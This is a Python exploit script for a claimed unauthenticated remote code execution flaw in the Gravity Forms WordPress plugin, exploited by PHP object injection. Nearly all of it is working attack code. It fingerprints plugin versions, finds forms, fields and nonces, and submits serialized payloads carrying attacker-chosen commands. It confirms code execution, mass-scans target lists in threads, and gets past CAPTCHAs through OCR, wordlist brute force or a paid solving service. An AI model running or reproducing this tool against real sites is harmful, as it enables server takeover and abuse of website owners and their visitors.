#!/usr/bin/env python3 """ ╔══════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ ██████╗ █████╗ ██╗ ██╗██╗████████╗██╗ ██╗ ║ ║ ██╔════╝ ██╔══██╗██╔══██╗██║ ██║██║╚══██╔══╝██║ ██║ ║ ║ ██║ ███╗██████╔╝███████║██║ ██║██║ ██║ ██║ ██║ ║ ║ ██║ ██║██╔══██╗██╔══██║╚██╗ ██╔╝██║ ██║ ██║ ██║ ║ ║ ╚██████╔╝██║ ██║██║ ██║ ╚████╔╝ ██║ ██║ ╚██████╔╝ ║ ║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ║ ║ ║ ║ CVE-2026-103039 — Gravity Forms PHP Object Injection ║ ║ Unauthenticated RCE via Post Custom Field (List type) ║ ║ ║ ║ Programmer : NØXCRYPT ║ ║ Handle : noxcrypt-x ║ ║ Version : 2.1 (auto-detect / RCE verify / multi-thread) ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════╝ Affected: WordPress plugin "Gravity Forms" <= 3.1.2 Fixed in: 3.1.3 Class: CWE-502 (Deserialization of Untrusted Data) CVSS: 9.8 Critical Usage: # Single target python noxcrypt_gf.py -u https://target.com --detect # Auto-detect form/field ids python noxcrypt_gf.py -u https://target.com --auto-detect # Scan all fields of a form python noxcrypt_gf.py -u https://target.com --form-id 1 --scan-fields # Mass scan with threads python noxcrypt_gf.py -l targets.txt --detect --threads 20 # Submit + verify RCE python noxcrypt_gf.py -u https://target.com --form-id 1 --field-id 2 \ --payload "O:13:\\"WP_HTML_Token\\":..." --verify """ from __future__ import annotations import argparse import concurrent.futures import json import os import re import subprocess import sys import threading import time from dataclasses import dataclass, field from typing import Any, List, Optional # ─── ANSI Color Codes ──────────────────────────────────────────────────────── class C: RESET = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" WHITE = "\033[97m" ORANGE = "\033[38;5;208m" PURPLE = "\033[38;5;141m" GRAY = "\033[90m" BG_RED = "\033[41m" BG_GREEN= "\033[42m" BG_YEL = "\033[43m" BG_BLUE = "\033[44m" # Enable ANSI on Windows + UTF-8 output if sys.platform == "win32": os.system("") # enables VT100 processing try: sys.stdout.reconfigure(encoding="utf-8") sys.stderr.reconfigure(encoding="utf-8") except Exception: pass try: import requests from requests import Session except ImportError: print(f"{C.RED}[-] Missing dependency: pip install requests{C.RESET}") raise SystemExit(2) MARKER = "GF_CVE_2026_103039_OK" VULNERABLE_MAX = (3, 1, 2) UA = "noxcrypt-gf-poc/2.1 (+CVE-2026-103039)" _PRINT_LOCK = threading.Lock() def _locked_print(*a, **k): with _PRINT_LOCK: print(*a, **k) # ─── Banner ────────────────────────────────────────────────────────────────── BANNER = r""" {purple}╔══════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ {cyan}█▀▀ █▀█ █▀▀ █ █▀▀█ █▀▀█ █▀▀▄ █▀▀ █▀▀█{purple} ║ ║ {cyan}█▀▀ █▄█ █▀▀ █ █ █ █ █ █ █ █▀▀ █▄▄▀{purple} ║ ║ {cyan}▀▀▀ ▀ ▀ ▀▀▀ ▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀ ▀▀▀ ▀ ▀▀{purple} ║ ║ ║ ║ {yellow}CVE-2026-103039{purple} — {white}Gravity Forms PHP Object Injection{purple} ║ ║ {gray}Unauthenticated RCE via Post Custom Field (List type){purple} ║ ║ ║ ║ {green}Programmer : NØXCRYPT{purple} ║ ║ {green}Handle : noxcrypt-x{purple} ║ ║ {green}Version : 2.1{purple} ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════╝{reset} """.format( purple=C.PURPLE, cyan=C.CYAN, yellow=C.YELLOW, white=C.WHITE, gray=C.GRAY, green=C.GREEN, reset=C.RESET, ) # ─── Data Classes ──────────────────────────────────────────────────────────── @dataclass class TargetResult: url: str = "" version: str = "" vulnerable: bool | None = None form_id: int = 0 field_id: int = 0 nonce: str = "" submitted: bool = False http_status: int = 0 confirmation: bool = False error: str = "" steps: list[str] = field(default_factory=list) forms_found: list[int] = field(default_factory=list) fields_found: list[dict] = field(default_factory=list) rce_verified: bool = False rce_evidence: str = "" scan_hits: list[dict] = field(default_factory=list) def status_color(self) -> str: if self.vulnerable is True: return C.GREEN elif self.vulnerable is False: return C.RED return C.YELLOW def vuln_text(self) -> str: if self.vulnerable is True: return f"{C.GREEN}VULNERABLE{C.RESET}" elif self.vulnerable is False: return f"{C.RED}NOT VULNERABLE{C.RESET}" return f"{C.YELLOW}UNKNOWN{C.RESET}" # ─── Helpers ───────────────────────────────────────────────────────────────── def base_url(raw: str) -> str: return raw.rstrip("/") def version_tuple(v: str) -> tuple[int, ...]: parts = re.findall(r"\d+", v) return tuple(int(p) for p in parts[:3]) def build_session(insecure: bool = False, cookie: str | None = None) -> Session: session = requests.Session() session.headers.update({"User-Agent": UA}) session.verify = not insecure if cookie: session.headers["Cookie"] = cookie return session def ok(msg: str) -> None: _locked_print(f" {C.GREEN}[+]{C.RESET} {msg}") def info(msg: str) -> None: _locked_print(f" {C.CYAN}[*]{C.RESET} {msg}") def warn(msg: str) -> None: _locked_print(f" {C.YELLOW}[!]{C.RESET} {msg}") def err(msg: str) -> None: _locked_print(f" {C.RED}[-]{C.RESET} {msg}") def detect_version(base: str, session: Session, timeout: float) -> tuple[str, bool | None]: candidates = [ f"{base}/wp-content/plugins/gravityforms/readme.txt", f"{base}/wp-content/plugins/gravityforms/README.txt", ] for url in candidates: try: response = session.get(url, timeout=timeout) except requests.RequestException: continue if response.status_code == 200: match = re.search(r"Stable tag:\s*([0-9][0-9A-Za-z.\-]*)", response.text) if match: version = match.group(1) return version, version_tuple(version) <= VULNERABLE_MAX try: response = session.get(f"{base}/", timeout=timeout) match = re.search(r"gravityforms[^\"']*\.js\?ver=([0-9.]+)", response.text) if match: version = match.group(1) return version, version_tuple(version) <= VULNERABLE_MAX except requests.RequestException: pass return "", None def extract_nonce(html: str, form_id: int) -> str: patterns = [ rf"name=['\"]_gform_submit_nonce_{form_id}['\"]\s+value=['\"]([^'\"]+)['\"]", rf"_gform_submit_nonce_{form_id}['\"]\s+value=['\"]([^'\"]+)['\"]", rf"_gform_submit_nonce_{form_id}[^>]*value=['\"]([^'\"]+)['\"]", rf"value=['\"]([^'\"]+)['\"][^>]*_gform_submit_nonce_{form_id}", ] for p in patterns: m = re.search(p, html) if m: return m.group(1) return "" def find_form_page(base: str, session: Session, timeout: float, form_id: int) -> str: candidates = [ f"{base}/", f"{base}/contact/", f"{base}/contact-us/", f"{base}/?gf_page=preview&id={form_id}", ] for url in candidates: try: r = session.get(url, timeout=timeout) if r.status_code == 200 and f"gform_{form_id}" in r.text: return url except requests.RequestException: continue return "" # ─── Auto-detect forms / fields ────────────────────────────────────────────── def discover_forms(base: str, session: Session, timeout: float) -> list[int]: forms: set[int] = set() pages = [base + "/", base + "/contact/", base + "/contact-us/"] for i in range(1, 16): pages.append(f"{base}/?gf_page=preview&id={i}") for url in pages: try: r = session.get(url, timeout=timeout) except requests.RequestException: continue if r.status_code != 200: continue for m in re.finditer(r"gform_(\d+)", r.text): forms.add(int(m.group(1))) for m in re.finditer(r'data-formid=["\'](\d+)["\']', r.text): forms.add(int(m.group(1))) return sorted(forms) def discover_fields(html: str, form_id: int) -> list[dict]: fields: list[dict] = [] seen: set[int] = set() for m in re.finditer(rf"field_{form_id}_(\d+)", html): fid = int(m.group(1)) if fid in seen: continue seen.add(fid) idx = m.start() window = html[max(0, idx - 400): idx + 250] tm = re.search(r"gfield--type-(\w+)", window) typ = tm.group(1) if tm else "" lm = re.search(r"]*>(.*?)", window, re.S) label = re.sub(r"<[^>]+>", "", lm.group(1)).strip() if lm else "" fields.append({"id": fid, "type": typ, "label": label}) fields.sort(key=lambda x: x["id"]) return fields def auto_detect_form_field(base, session, timeout, args, result) -> bool: if getattr(args, "auto_detect", False) or args.form_id == 0 or args.field_id == 0: info("auto-detecting forms...") forms = discover_forms(base, session, timeout) result.forms_found = forms if not forms: warn("no forms discovered") return False info(f"forms found: {forms}") if args.form_id: form_id = args.form_id else: form_id = forms[0] if len(forms) > 1: warn(f"multiple forms; using {form_id}") page = args.form_page or find_form_page(base, session, timeout, form_id) if not page: page = f"{base}/?gf_page=preview&id={form_id}" html = "" try: r = session.get(page, timeout=timeout) if r.status_code == 200: html = r.text except requests.RequestException: pass fields = discover_fields(html, form_id) if html else [] result.fields_found = fields if fields: info(f"fields: {[(f['id'], f['type'], f['label']) for f in fields]}") if args.field_id: field_id = args.field_id else: # Prefer "text" inputs (List-type custom fields render as text inputs) cand = [f for f in fields if f["type"] == "text" and any(k in (f["label"] or "").lower() for k in ("custom", "meta", "template", "list", "company"))] if not cand: cand = [f for f in fields if f["type"] == "text"] if not cand: cand = [f for f in fields if f["type"] in ("text", "textarea") and any(k in (f["label"] or "").lower() for k in ("custom", "meta", "template", "list", "company"))] if not cand: cand = [f for f in fields if f["type"] in ("text", "textarea")] if cand: field_id = cand[0]["id"] elif fields: field_id = fields[0]["id"] else: field_id = 1 if fields: info(f"auto-selected field_id={field_id}") args.form_id = form_id args.field_id = field_id result.form_id = form_id result.field_id = field_id return True def gen_payload(args, controlled: str) -> str: php = args.php script = args.gen_script cmd = [php, script] if args.payload_type: cmd += ["--type", args.payload_type] cmd.append(controlled) env = None if args.wp_path: env = dict(os.environ) env["WP_PATH"] = args.wp_path try: result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=30) except FileNotFoundError: raise RuntimeError(f"PHP binary not found: {php}") if result.returncode != 0: raise RuntimeError(f"payload gen failed: {result.stderr.strip()[:200]}") payload = result.stdout.strip() if not payload: raise RuntimeError("payload gen produced empty output") return payload # ─── RCE verification ──────────────────────────────────────────────────────── RCE_PATTERNS = [ re.compile(r"uid=\d+\([^\)]*\)"), re.compile(r"gid=\d+"), re.compile(r"GF_CVE_2026_103039_OK"), ] def _scan_text_for_rce(text: str, marker: str) -> list[str]: hits: list[str] = [] for pat in RCE_PATTERNS: for m in pat.finditer(text or ""): hits.append(m.group(0)) if marker and marker in (text or ""): hits.append(marker) # dedup preserve order out = [] seen = set() for h in hits: if h not in seen: seen.add(h) out.append(h) return out def verify_rce(base, session, result, args, timeout, submit_text, post_url) -> None: if not getattr(args, "verify", True): return marker = args.oob or MARKER evidence_list: list[tuple[str, list[str]]] = [] # submit response hits = _scan_text_for_rce(submit_text, marker) if hits: evidence_list.append(("submit-response", hits[:5])) urls_to_fetch: list[str] = [] if post_url: urls_to_fetch.append(post_url) if getattr(args, "trigger_url", None): urls_to_fetch.append(args.trigger_url) # candidate links from submit response for m in re.finditer(r'href=["\']([^"\']+)', submit_text or ""): u = m.group(1) if any(k in u.lower() for k in ("/p=", "post", "?p=", "postname")): urls_to_fetch.append(u) # common post roots urls_to_fetch.append(base + "/") urls_to_fetch.append(base + "/?p=1") seen_urls: set[str] = set() fetched = 0 max_fetch = 8 if getattr(args, "deep_verify", False) else 4 for u in urls_to_fetch: if fetched >= max_fetch: break if not u: continue if u.startswith("/"): u = base + u if u in seen_urls: continue seen_urls.add(u) try: r = session.get(u, timeout=timeout, allow_redirects=True) except requests.RequestException: continue fetched += 1 hits = _scan_text_for_rce(r.text, marker) if hits: evidence_list.append((u, hits[:5])) break if evidence_list: result.rce_verified = True result.rce_evidence = f"{evidence_list[0][0]}: {evidence_list[0][1]}" ok(f"RCE VERIFIED -> {result.rce_evidence}") else: result.rce_verified = False warn("RCE not verified in responses (may need trigger or gadget chain)") # ─── Submit ────────────────────────────────────────────────────────────────── def _captcha_cache_path() -> str: return os.path.join(os.path.dirname(os.path.abspath(__file__)), "captcha_cache.json") def _load_captcha_cache() -> dict: try: with open(_captcha_cache_path(), "r", encoding="utf-8") as f: return json.load(f) except (OSError, ValueError): return {} def _save_captcha_cache(prefix: str, answer: str) -> None: if not prefix or not answer: return cache = _load_captcha_cache() cache[prefix] = answer try: with open(_captcha_cache_path(), "w", encoding="utf-8") as f: json.dump(cache, f, indent=2, ensure_ascii=False) except OSError: pass def submit_form(base, session, result, args, timeout) -> None: form_id = args.form_id field_id = args.field_id captcha_prefix = "" captcha_img_url = "" captcha_field_id = "" form_page = args.form_page or find_form_page(base, session, timeout, form_id) if not form_page: form_page = base + "/" info(f"fetching form page: {form_page}") try: r = session.get(form_page, timeout=timeout) except requests.RequestException as e: result.error = f"fetch failed: {e}" err(result.error) return if r.status_code != 200: result.error = f"form page HTTP {r.status_code}" err(result.error) return nonce = extract_nonce(r.text, form_id) if nonce: ok(f"nonce extracted: {nonce[:20]}...") else: warn("could not extract nonce (may not be required)") result.nonce = nonce # Show CAPTCHA image and exit (no payload needed) if getattr(args, "show_captcha", False): if captcha_img_url: try: img_resp = session.get(captcha_img_url, timeout=timeout) img_path = "captcha_image.png" with open(img_path, "wb") as f: f.write(img_resp.content) ok("CAPTCHA image saved -> " + img_path) warn("open the image, read the text, then run with --captcha-answer TEXT") except Exception as e: err("could not download CAPTCHA: " + str(e)) else: warn("no CAPTCHA image found on this form") return # Build payload if args.payload: payload = args.payload elif getattr(args, "payload_file", None): try: with open(args.payload_file, "r", encoding="utf-8") as f: payload = f.read().strip() ok(f"payload loaded from file ({len(payload)} bytes)") except OSError as e: result.error = f"could not read payload file: {e}" err(result.error) return elif args.gen_payload: controlled = args.cmd or args.oob or MARKER info(f"generating payload (controlled: {controlled})") try: payload = gen_payload(args, controlled) ok(f"payload generated ({len(payload)} bytes)") except RuntimeError as e: result.error = str(e) err(result.error) return else: result.error = "no payload (use --payload or --gen-payload)" err(result.error) return data = { "gform_submit": str(form_id), f"is_submit_{form_id}": "1", f"_gform_submit_nonce_{form_id}": nonce, } data[f"input_{field_id}"] = payload data[f"input_{field_id}[0][0]"] = payload # ── CAPTCHA handling ────────────────────────────────────────────── captcha_prefix = "" captcha_img_url = "" m_prefix = re.search(r"name=['\"]input_captcha_prefix_(\d+)['\"]\s+value=['\"]([^'\"]+)['\"]", r.text) if m_prefix: captcha_field_id = m_prefix.group(1) captcha_prefix = m_prefix.group(2) m_img = re.search(r"class=['\"]gfield_captcha['\"]\s+src=['\"]([^'\"]+)['\"]", r.text) if m_img: captcha_img_url = m_img.group(1) info(f"CAPTCHA detected (field {captcha_field_id}, prefix {captcha_prefix})") if captcha_prefix and not args.skip_captcha: if args.show_captcha and captcha_img_url: try: img_resp = session.get(captcha_img_url, timeout=timeout) img_path = "captcha_image.png" with open(img_path, "wb") as f: f.write(img_resp.content) ok(f"CAPTCHA image saved -> {img_path}") warn("open the image, read the text, then run with --captcha-answer ") except Exception as e: err(f"could not download CAPTCHA: {e}") return # Auto-CAPTCHA: cache replay -> OCR (optional) -> wordlist -> 2Captcha auto_answer = "" if getattr(args, "auto_captcha", False): cache = _load_captcha_cache() if captcha_prefix in cache: auto_answer = cache[captcha_prefix] info(f"CAPTCHA cache hit: {auto_answer}") if not auto_answer and captcha_img_url: try: import pytesseract from PIL import Image img_resp = session.get(captcha_img_url, timeout=timeout) img_path = "captcha_image.png" with open(img_path, "wb") as f: f.write(img_resp.content) txt = pytesseract.image_to_string(Image.open(img_path)) txt = re.sub(r"[^A-Za-z0-9]", "", txt).strip() if len(txt) >= 3: auto_answer = txt info(f"OCR solved: {auto_answer}") except Exception as e: warn(f"OCR unavailable/failed: {e}") if not auto_answer and getattr(args, "captcha_wordlist", None) and captcha_img_url: try: with open(args.captcha_wordlist, "r", encoding="utf-8") as f: words = [w.strip() for w in f if w.strip()] except OSError as e: warn(f"could not read wordlist: {e}") words = [] for w in words: test_data = dict(data) test_data[f"input_{captcha_field_id}"] = w try: tr = session.post(form_page, data=test_data, timeout=timeout, allow_redirects=True) if "gfield_error" not in tr.text and "validation_message" not in tr.text: auto_answer = w info(f"wordlist hit: {auto_answer}") break except requests.RequestException: break if auto_answer: args.captcha_answer = auto_answer _save_captcha_cache(captcha_prefix, auto_answer) if args.captcha_answer: info(f"using CAPTCHA answer: {args.captcha_answer}") data[f"input_{captcha_field_id}"] = args.captcha_answer _save_captcha_cache(captcha_prefix, args.captcha_answer) elif args.captcha_key: info("solving CAPTCHA via 2Captcha...") try: import base64 img_resp = session.get(captcha_img_url, timeout=timeout) img_b64 = base64.b64encode(img_resp.content).decode() submit_url = "http://2captcha.com/in.php" resp = requests.post(submit_url, data={ "key": args.captcha_key, "method": "base64", "body": img_b64, "json": 1, }, timeout=30) result_json = resp.json() if result_json.get("status") != 1: raise RuntimeError(result_json.get("request", "submit failed")) captcha_id = result_json["request"] info(f"CAPTCHA submitted (id: {captcha_id}), waiting for solution...") for _ in range(30): time.sleep(5) res = requests.get(f"http://2captcha.com/res.php?key={args.captcha_key}&action=get&id={captcha_id}&json=1", timeout=30) res_json = res.json() if res_json.get("status") == 1: captcha_answer = res_json["request"] ok(f"CAPTCHA solved: {captcha_answer}") data[f"input_{captcha_field_id}"] = captcha_answer break if res_json.get("request") != "CAPCHA_NOT_READY": raise RuntimeError(res_json.get("request", "solve failed")) else: raise RuntimeError("CAPTCHA solve timeout") except Exception as e: err(f"CAPTCHA solve failed: {e}") warn("continuing without CAPTCHA answer") else: warn("CAPTCHA detected but no --captcha-key provided") warn("use --captcha-key <2Captcha API key> or --skip-captcha (lab only)") if captcha_field_id: data[f"input_{captcha_field_id}"] = "" elif args.skip_captcha: info("skipping CAPTCHA (--skip-captcha)") # Auto-fill common required fields to avoid validation errors if getattr(args, "auto_fill", False): all_inputs = re.findall(r"name=['\"]input_(\d+)['\"]", r.text) for fid in all_inputs: if fid == str(field_id): continue if captcha_prefix and fid == str(captcha_field_id): continue label_match = re.search(rf"]*for=['\"]input_{form_id}_{fid}['\"][^>]*>(.*?)", r.text, re.S) label = label_match.group(1).lower() if label_match else "" label = re.sub(r"<[^>]+>", "", label).strip() if "email" in label: data[f"input_{fid}"] = "test@example.com" elif "date" in label: data[f"input_{fid}"] = "01/01/2025" elif "name" in label: data[f"input_{fid}"] = "Test User" elif "phone" in label or "tel" in label: data[f"input_{fid}"] = "1234567890" elif "subject" in label: data[f"input_{fid}"] = "Test Subject" elif "message" in label or "enquiry" in label or "comment" in label: data[f"input_{fid}"] = "Test message" else: data[f"input_{fid}"] = "Test" if captcha_prefix: warn("CAPTCHA detected — use --captcha-key or --skip-captcha") info(f"submitting form {form_id} field {field_id}") try: resp = session.post(form_page, data=data, timeout=timeout, allow_redirects=True) except requests.RequestException as e: result.error = f"submit failed: {e}" err(result.error) return result.submitted = True result.http_status = resp.status_code ok(f"submitted (HTTP {resp.status_code})") post_url = "" if resp.status_code in (301, 302, 303): loc = resp.headers.get("Location", "") ok(f"redirect → {loc}") post_url = loc elif "gform_confirmation" in resp.text or "thank" in resp.text.lower(): result.confirmation = True ok("confirmation message detected") else: if "gfield_error" in resp.text or "validation_message" in resp.text: warn("form validation errors detected") else: warn("no clear confirmation; check manually") result.post_url = post_url if hasattr(result, "post_url") else post_url # store on result via attribute (dataclass doesn't define post_url; add dynamically) setattr(result, "post_url", post_url) # RCE verification if getattr(args, "verify", True): verify_rce(base, session, result, args, timeout, resp.text, post_url) # ─── Scan all fields ───────────────────────────────────────────────────────── def scan_fields(base, session, result, args, timeout) -> None: forms = discover_forms(base, session, timeout) if not forms: result.error = "no forms found" err(result.error) return form_ids = [args.form_id] if args.form_id else forms info(f"scanning forms: {form_ids}") for fid_form in form_ids: page = args.form_page or find_form_page(base, session, timeout, fid_form) if not page: page = f"{base}/?gf_page=preview&id={fid_form}" html = "" try: r = session.get(page, timeout=timeout) if r.status_code == 200: html = r.text except requests.RequestException: pass fields = discover_fields(html, fid_form) if html else [] field_ids = [f["id"] for f in fields] if fields else list(range(1, args.max_field + 1)) if not field_ids: field_ids = list(range(1, args.max_field + 1)) info(f"form {fid_form}: trying fields {field_ids}") for fld in field_ids: targs = argparse.Namespace(**vars(args)) targs.form_id = fid_form targs.field_id = fld targs.verify = getattr(args, "verify", True) # suppress per-field noisy? keep info(f"--- trying form={fid_form} field={fld} ---") # use a temp result to not clobber main? We'll record hits tmp = TargetResult(url=base, form_id=fid_form, field_id=fld) submit_form(base, session, tmp, targs, timeout) hit = { "form_id": fid_form, "field_id": fld, "submitted": tmp.submitted, "http_status": tmp.http_status, "rce_verified": tmp.rce_verified, "rce_evidence": tmp.rce_evidence, "confirmation": tmp.confirmation, } result.scan_hits.append(hit) if tmp.rce_verified: ok(f"HIT: form={fid_form} field={fld} -> {tmp.rce_evidence}") elif tmp.submitted: info(f"submitted form={fid_form} field={fld} (no RCE verified)") result.submitted = any(h["submitted"] for h in result.scan_hits) result.rce_verified = any(h["rce_verified"] for h in result.scan_hits) def process_target(base, args, timeout) -> TargetResult: result = TargetResult(url=base) session = build_session(args.insecure, args.cookie) # Detect version version, vulnerable = detect_version(base, session, timeout) result.version = version result.vulnerable = vulnerable if version: ok(f"{C.BOLD}{base}{C.RESET} → GF {version} → {result.vuln_text()}") else: warn(f"{C.BOLD}{base}{C.RESET} → version unknown") if args.detect and not getattr(args, "list_forms", False) and not getattr(args, "scan_fields", False) \ and not getattr(args, "auto_detect", False) and args.form_id == 0 and args.field_id == 0: return result # list forms only if getattr(args, "list_forms", False): forms = discover_forms(base, session, timeout) result.forms_found = forms info(f"forms: {forms}") for fid in forms: page = find_form_page(base, session, timeout, fid) or f"{base}/?gf_page=preview&id={fid}" try: r = session.get(page, timeout=timeout) html = r.text if r.status_code == 200 else "" except requests.RequestException: html = "" fields = discover_fields(html, fid) if html else [] result.fields_found.extend(fields) info(f" form {fid} fields: {[(f['id'], f['type'], f['label']) for f in fields]}") return result if getattr(args, "scan_fields", False): scan_fields(base, session, result, args, timeout) return result targs = argparse.Namespace(**vars(args)) if targs.form_id == 0 or targs.field_id == 0 or getattr(targs, "auto_detect", False): ok_flag = auto_detect_form_field(base, session, timeout, targs, result) if not ok_flag: if targs.form_id == 0 or targs.field_id == 0: result.error = "auto-detect failed; provide --form-id/--field-id" err(result.error) return result if not targs.detect and (not targs.form_id or not targs.field_id): # detect-only mode already returned; if no ids, skip submit if not getattr(targs, "scan_fields", False): result.error = "--form-id and --field-id required (or --auto-detect)" err(result.error) return result if targs.detect: return result result.form_id = targs.form_id result.field_id = targs.field_id submit_form(base, session, result, targs, timeout) return result def _strip_ansi(s: str) -> str: return re.sub(r"\033\[[0-9;]*m", "", s) def _pad(s: str, width: int) -> str: visible = len(_strip_ansi(s)) return s + " " * max(0, width - visible) def print_summary(results: List[TargetResult]): print(f"\n{C.PURPLE}{'═' * 80}{C.RESET}") print(f"{C.BOLD}{C.WHITE} SUMMARY — NØXCRYPT GF PoC{C.RESET}") print(f"{C.PURPLE}{'═' * 80}{C.RESET}") print(f" {C.GRAY}{'Target':<32} {'Version':<10} {'Vuln':<14} {'Submit':<8} {'RCE':<8}{C.RESET}") print(f" {C.GRAY}{'─' * 74}{C.RESET}") vuln_count = 0 submit_count = 0 rce_count = 0 for r in results: vuln_str = r.vuln_text() submit_str = f"{C.GREEN}YES{C.RESET}" if r.submitted else f"{C.RED}NO{C.RESET}" rce_str = f"{C.GREEN}YES{C.RESET}" if r.rce_verified else f"{C.GRAY}NO{C.RESET}" if r.vulnerable: vuln_count += 1 if r.submitted: submit_count += 1 if r.rce_verified: rce_count += 1 url_display = f"{C.WHITE}{r.url[:31]}{C.RESET}" ver_display = r.version or "?" line = " " + _pad(url_display, 33) + _pad(ver_display, 11) + _pad(vuln_str, 24) + _pad(submit_str, 9) + rce_str print(line) if r.scan_hits: for h in r.scan_hits: if h.get("rce_verified") or h.get("submitted"): print(f" {C.GRAY}form={h['form_id']} field={h['field_id']} submit={h['submitted']} rce={h['rce_verified']}{C.RESET}") print(f" {C.GRAY}{'─' * 74}{C.RESET}") print(f" {C.BOLD}Total: {len(results)} | Vulnerable: {C.GREEN}{vuln_count}{C.RESET}{C.BOLD} | Submitted: {C.GREEN}{submit_count}{C.RESET}{C.BOLD} | RCE: {C.GREEN}{rce_count}{C.RESET}") print(f"{C.PURPLE}{'═' * 80}{C.RESET}\n") def save_results(results: List[TargetResult], path: str): data = [] for r in results: data.append({ "url": r.url, "version": r.version, "vulnerable": r.vulnerable, "form_id": r.form_id, "field_id": r.field_id, "nonce": r.nonce, "submitted": r.submitted, "http_status": r.http_status, "confirmation": r.confirmation, "error": r.error, "forms_found": r.forms_found, "fields_found": r.fields_found, "rce_verified": r.rce_verified, "rce_evidence": r.rce_evidence, "scan_hits": r.scan_hits, }) try: with open(path, "w", encoding="utf-8") as f: json.dump(data, f, indent=2, ensure_ascii=False) ok(f"results saved → {path}") except OSError as e: err(f"could not save results: {e}") def main() -> int: if "-h" not in sys.argv and "--help" not in sys.argv: print(BANNER) parser = argparse.ArgumentParser( description="CVE-2026-103039 Gravity Forms PHP Object Injection — by NØXCRYPT", formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument("-u", "--url", help="Single target URL") parser.add_argument("-l", "--list", help="File with target URLs (one per line)") parser.add_argument("--detect", action="store_true", help="Version detection only") parser.add_argument("--form-id", type=int, default=0, help="Gravity Forms form ID") parser.add_argument("--field-id", type=int, default=0, help="Post Custom Field field ID (List type)") parser.add_argument("--form-page", help="URL of page containing the form") parser.add_argument("--payload", help="Serialized PHP payload string") parser.add_argument("--payload-file", help="Read payload from file") parser.add_argument("--gen-payload", action="store_true", help="Generate payload via PHP helper") parser.add_argument("--payload-type", default="wp_theme", choices=["wp_theme", "wp_html_token"]) parser.add_argument("--php", default="php", help="Path to PHP binary") parser.add_argument("--wp-path", help="Path to WordPress source") parser.add_argument("--gen-script", default=None, help="Path to gen_payload.php") parser.add_argument("--cmd", help="Command to execute (wp_html_token)") parser.add_argument("--oob", help="OOB callback value") parser.add_argument("--cookie", help="Authenticated cookie") parser.add_argument("--insecure", action="store_true", help="Disable TLS verification") parser.add_argument("--timeout", type=float, default=20.0, help="HTTP timeout") parser.add_argument("--output", "-o", help="Save results to JSON file") parser.add_argument("--delay", type=float, default=0.5, help="Delay between targets (seconds)") parser.add_argument("--auto-fill", action="store_true", help="Auto-fill required form fields with dummy values") parser.add_argument("--captcha-key", help="2Captcha API key for solving CAPTCHA") parser.add_argument("--captcha-answer", help="Manual CAPTCHA answer (you read the image)") parser.add_argument("--skip-captcha", action="store_true", help="Skip CAPTCHA field (for lab where CAPTCHA is disabled)") parser.add_argument("--show-captcha", action="store_true", help="Download CAPTCHA image and show path (for manual solving)") parser.add_argument("--auto-captcha", action="store_true", help="Auto-solve CAPTCHA (cache replay + optional OCR + wordlist)") parser.add_argument("--captcha-wordlist", help="Wordlist file for CAPTCHA brute (one candidate per line)") # New features parser.add_argument("--auto-detect", action="store_true", help="Auto-detect form-id / field-id") parser.add_argument("--list-forms", action="store_true", help="Discover and print forms/fields only") parser.add_argument("--scan-fields", action="store_true", help="Try payload against every field of the form") parser.add_argument("--max-field", type=int, default=20, help="Max field id to try in --scan-fields") parser.add_argument("--verify", action="store_true", default=True, help="Verify RCE after submit (default on)") parser.add_argument("--no-verify", action="store_true", help="Disable RCE verification") parser.add_argument("--deep-verify", action="store_true", help="Deeper RCE verification (more URL fetches)") parser.add_argument("--trigger-url", help="URL to fetch to trigger gadget chain") parser.add_argument("--threads", type=int, default=1, help="Concurrent workers for target list") args = parser.parse_args() if args.no_verify: args.verify = False if args.deep_verify: args.verify = True if args.gen_script is None: args.gen_script = os.path.join(os.path.dirname(os.path.abspath(__file__)), "gen_payload.php") # Collect targets targets = [] if args.url: targets.append(args.url) if args.list: if not os.path.isfile(args.list): err(f"target list file not found: {args.list}") return 1 with open(args.list, "r", encoding="utf-8-sig") as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(line) if not targets: err("no targets specified (use -u or -l)") print() print(f" {C.CYAN}Examples:{C.RESET}") print(f" {C.GRAY} python noxcrypt_gf.py -h # show help{C.RESET}") print(f" {C.GRAY} python noxcrypt_gf.py -u https://target.com --detect{C.RESET}") print(f" {C.GRAY} python noxcrypt_gf.py -l targets.txt --detect -o results.json{C.RESET}") print(f" {C.GRAY} python noxcrypt_gf.py -u https://target.com --form-id 1 --field-id 2 --payload \"O:13:...\"{C.RESET}") print() return 1 # Deduplicate targets = list(dict.fromkeys(targets)) info(f"loaded {len(targets)} target(s)") print() results: List[TargetResult] = [] workers = max(1, int(args.threads or 1)) def _run_one(t): base = base_url(t) print(f"{C.PURPLE}{'─' * 70}{C.RESET}") info(f"processing: {C.BOLD}{base}{C.RESET}") print() try: return process_target(base, args, args.timeout) except Exception as e: r = TargetResult(url=base, error=str(e)) err(f"unexpected error: {e}") return r if workers > 1 and len(targets) > 1: with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: futures = [executor.submit(_run_one, t) for t in targets] for f in futures: try: results.append(f.result()) except Exception as e: err(f"worker error: {e}") else: for t in targets: results.append(_run_one(t)) if len(targets) > 1: time.sleep(args.delay) print_summary(results) if args.output: save_results(results, args.output) # Exit code: 0 if any vulnerable, 1 otherwise if any(r.vulnerable for r in results) or any(r.rce_verified for r in results): return 0 return 1 if __name__ == "__main__": try: sys.exit(main()) except KeyboardInterrupt: print(f"\n{C.YELLOW}[!] interrupted by user{C.RESET}") sys.exit(130) except Exception as e: print(f"{C.RED}[-] fatal: {e}{C.RESET}") sys.exit(1)